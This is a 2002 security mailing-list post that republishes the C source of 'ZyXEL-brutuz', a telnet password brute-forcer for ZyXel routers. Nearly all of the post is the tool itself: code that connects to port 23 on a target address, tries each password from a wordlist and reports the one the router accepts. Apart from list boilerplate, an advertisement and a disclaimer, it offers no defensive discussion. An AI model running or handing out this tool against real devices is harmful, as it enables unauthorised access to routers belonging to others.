[TOOL] ZyXel Telnet Service Password Brute Forcer
From: support@securiteam.comDate: 09/26/02
- Previous message: support@securiteam.com: "[NT] Buffer Overrun in SmartHTML Interpreter Could Allow Code Execution"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Thu, 26 Sep 2002 11:53:02 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
ZyXel Telnet Service Password Brute Forcer
------------------------------------------------------------------------
DETAILS
The following is a ZyXel telnet password brute forcer.
Tool:
/*
ZYXEL-brutuz v 1.0.0
Password-brutforcer for ZyXel Routerz...
C'ed by [ zWARYAG ] / BetaFly Computer Team
to compile : cc zyxbrut.c -o zyxbrut
Aug : 2k2
thnkzz to DruiD / BetaFly CT.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
void USAGE(void);
int main(int argc, char *argv[])
{
int port=23;
int s;
struct sockaddr_in addr;
int sock;
char pass_buf[30];
FILE *pass_filePtr;
char banner[2048];
char finder[5]="asswo";
if(argc!=3) USAGE();
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("Socket ERROR");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
if ((pass_filePtr=fopen(argv[2],"r"))==NULL) {
printf("[ERROR] '%s' could not be opened!\n",argv[2]);
exit(1);
}
fscanf(pass_filePtr,"%s", pass_buf);
while(!feof(pass_filePtr)) {
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("Socket ERROR");
exit(1);
}
if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) == 0) {
bzero(banner,sizeof(banner));
s=send(sock,pass_buf,sizeof(pass_buf),0);
read(sock,banner,sizeof(banner));
s=send(sock,"\n",sizeof("\n"),0);
read(sock,banner,sizeof(banner));
if(strstr(banner,finder)) printf("%s\n",pass_buf);
else {
printf("\nOK! Password iz : %s\n",pass_buf);
close(sock);
exit(0);
}
}
fscanf(pass_filePtr,"%s", pass_buf);
close(sock);
}
return 0;
}
void USAGE()
{
printf("\n");
printf(" ZyXel-Brutuz v.1.0 by [zWARYAG] / BetaFly Computer Team\n");
printf(" Uze : zyxbrut <ip-addr> <passlizt>\n");
printf("\n");
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by BetaFly Computer Team.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] Buffer Overrun in SmartHTML Interpreter Could Allow Code Execution"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|